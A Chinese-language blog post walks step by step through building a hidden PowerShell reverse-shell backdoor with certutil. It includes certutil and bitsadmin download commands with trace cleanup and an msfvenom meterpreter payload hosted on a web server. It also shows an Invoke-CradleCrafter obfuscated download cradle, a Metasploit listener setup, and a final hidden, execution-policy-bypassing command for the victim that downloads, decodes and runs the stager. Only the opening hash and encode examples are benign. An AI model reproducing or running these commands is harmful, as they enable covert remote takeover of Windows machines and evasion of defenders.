certutil 命令配合PS反弹后门

Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。

适用于:Windows Server 2012,Windows 10

1.使用Certutil.exe下载文件,下载完成以后一定记得delete 清理痕迹。

C:\> certutil.exe -urlcache -split -f http://lyshark.com/lyshark.log
C:\> certutil.exe -urlcache -split -f http://lyshark.com/lyshark.log delete

2.在应急中certutil也是常用工具之一,来对比文件hash,来判断疑似文件。

C:\> certutil -hashfile lyshark.log MD5
MD5 的 lyshark.log 哈希:
6f5902ac237024bdd0c176cb93063dc4

3.还可以对指定文件进行编码。编码后生成目标文件lyshark.bat

C:\> certutil -encode lyshark.log lyshark.bat
输入长度 = 12
输出长度 = 74
CertUtil: -encode 命令成功完成。

4.通过使用decode命令来完成解码。

C:\> certutil -decode lyshark.bat lyshark.log
输入长度 = 74
输出长度 = 12
CertUtil: -decode 命令成功完成。

附加:C:> bitsadmin /rawreturn /transfer down "http://lyshark.com/lyshark.exe" c:\lyshark.exe

以上的简介就是certutil工具的常用应用场景,而通过结合powershell的内存加载功能,则可把certutil的功能发挥到极致,接下来先来下载一个PS的加载框架。

PowerShell 混淆框架:https://github.com/danielbohannon/Invoke-CradleCrafter

1.在加载PowerShell脚本之前,先来进行数字签名,运行命令。

PS C:\Invoke-CradleCrafter> Set-ExecutionPolicy Bypass
执行策略更改
执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.microsoft.com/fwlink/?LinkID=135170
中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略? Y

2.使用方法,执行两条命令,加载框架。

PS C:\Invoke-CradleCrafter> Import-Module .\Invoke-CradleCrafter.ps1
PS C:\Invoke-CradleCrafter> Invoke-CradleCrafter

Invoke-CradleCrafter

          _____                 _                    ,
          \_   \_ ____   _____ | | _____           /(  __________
           / /\/ '_ \ \ / / _ \| |/ / _ \_____    |  >:==========`
        /\/ /_ | | | \ V / (_) |   <  __/_____|    )(
        \____/ |_| |_|\_/ \___/|_|\_\___|          ""
           ___              _ _        ___           __ _
          / __\ __ __ _  __| | | ___  / __\ __ __ _ / _| |_ ___ _ __
         / / | '__/ _` |/ _` | |/ _ \/ / | '__/ _` | |_| __/ _ \ '__|
        / /__| | | (_| | (_| | |  __/ /__| | | (_| |  _| ||  __/ |
        \____/_|  \__,_|\__,_|_|\___\____/_|  \__,_|_|  \__\___|_|

        Tool    :: Invoke-CradleCrafter
        Author  :: Daniel Bohannon (DBO)
        Twitter :: @danielhbohannon
        Blog    :: http://danielbohannon.com
        Github  :: https://github.com/danielbohannon/Invoke-CradleCrafter
        Version :: 1.1
        License :: Apache License, Version 2.0
        Notes   :: If(!$Caffeinated) {Exit}

HELP MENU :: Available options shown below:

3.MSF攻击主机,生成payload,并将生成好的payload放入网站根目录,保证能够正常访问。

[root@localhost ~]# msfvenom -p windows/x64/meterpreter/reverse_tcp \
> lhost=192.168.1.30 lport=8888 -e cmd/powershell_base64 \
> -f psh -o lyshark.txt

[root@localhost ~]# cp -a lyshark.txt  /var/www/html/
[root@localhost ~]# systemctl restart httpd

4.powershell 框架设置指定好的URL链接。

Invoke-CradleCrafter>  set URL http://lyshark.com/lyshark.txt

Successfully set Url:
http://lyshark.com/lyshark.txt

5.分别执行以下命令完成初始化,这里如果报错请添加环境变量。

Invoke-CradleCrafter> MEMORY

Choose one of the below Memory options:

[*] MEMORY\PSWEBSTRING          PS Net.WebClient + DownloadString method
[*] MEMORY\PSWEBDATA            PS Net.WebClient + DownloadData method
[*] MEMORY\PSWEBOPENREAD        PS Net.WebClient + OpenRead method
[*] MEMORY\NETWEBSTRING         .NET [Net.WebClient] + DownloadString method (PS3.0+)
[*] MEMORY\NETWEBDATA           .NET [Net.WebClient] + DownloadData method (PS3.0+)
[*] MEMORY\NETWEBOPENREAD       .NET [Net.WebClient] + OpenRead method (PS3.0+)
[*] MEMORY\PSWEBREQUEST         PS Invoke-WebRequest/IWR (PS3.0+)
[*] MEMORY\PSRESTMETHOD         PS Invoke-RestMethod/IRM (PS3.0+)
[*] MEMORY\NETWEBREQUEST        .NET [Net.HttpWebRequest] class
[*] MEMORY\PSSENDKEYS           PS SendKeys class + Notepad (for the lulz)
[*] MEMORY\PSCOMWORD            PS COM object + WinWord.exe
[*] MEMORY\PSCOMEXCEL           PS COM object + Excel.exe
[*] MEMORY\PSCOMIE              PS COM object + Iexplore.exe
[*] MEMORY\PSCOMMSXML           PS COM object + MsXml2.ServerXmlHttp
[*] MEMORY\PSINLINECSHARP       PS Add-Type + Inline CSharp
[*] MEMORY\PSCOMPILEDCSHARP     .NET [Reflection.Assembly]::Load Pre-Compiled CSharp
[*] MEMORY\CERTUTIL             Certutil.exe + -ping Argument
Invoke-CradleCrafter\Memory> CERTUTIL

[*] Name          :: Certutil
[*] Description   :: PowerShell leveraging certutil.exe to download payload as string
[*] Compatibility :: PS 2.0+
[*] Dependencies  :: Certutil.exe
[*] Footprint     :: Entirely memory-based
[*] Indicators    :: powershell.exe spawns certutil.exe certutil.exe 
[*] Artifacts     :: C:\Windows\Prefetch\CERTUTIL.EXE-********.pf AppCompat Cache
Invoke-CradleCrafter\Memory\Certutil> ALL


Choose one of the below Memory\Certutil\All options to APPLY to current cradle:

[*] MEMORY\CERTUTIL\ALL\1       Execute ALL Token obfuscation techniques (random order)


Invoke-CradleCrafter\Memory\Certutil\All> 1

Executed:
  CLI:  Memory\Certutil\All\1
  FULL: Out-Cradle -Url 'http://lyshark.com/lyshark.txt' -Cradle 17 -TokenArray @('All',1)

Result:
SV 1O6 'http://lyshark.com/lyshark.txt';.(Get-Command *ke-*pr*) ((C:\Windows\System32\certutil /ping (Get-Item Variable:\1O6).Value|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-Skip 2|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-SkipLa 1)-Join"`r`n")

Choose one of the below Memory\Certutil\All options to APPLY to current cradle:

[*] MEMORY\CERTUTIL\ALL\1       Execute ALL Token obfuscation techniques (random order)

6.将上方混淆后的内容保存为 crt.txt 然后进行encode加密

C:\Users\lyshark\Desktop>certutil -encode crt.txt crt.cer

输入长度 = 912
输出长度 = 1310
CertUtil: -encode 命令成功完成。

7.将生成的 crt.cet 放入服务器的根目录下,保证能够访问,然后运行msfconsole控制台,并侦听事件。

[root@localhost ~]# cp -a crt.cer /var/www/html/

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
lhost => 192.168.1.7
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > exploit -j -z

8.最终靶机执行,以下命令。

powershell.exe ‐Win hiddeN ‐Exec ByPasS add‐content ‐path %APPDATA%\crt.cer (New‐Object Net.WebClient).DownloadString('http://lyshark.com/crt.cer'); certutil ‐decode %APPDATA%\crt.cer %APPDATA%\stage.ps1 & start /b c
md /c powershell.exe ‐Exec Bypass ‐NoExit ‐File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\crt.cer

posted @ 2019-06-09 18:28  lyshark  阅读(1332)  评论(0编辑  收藏  举报

loading... | loading...
博客园 - 开发者的网上家园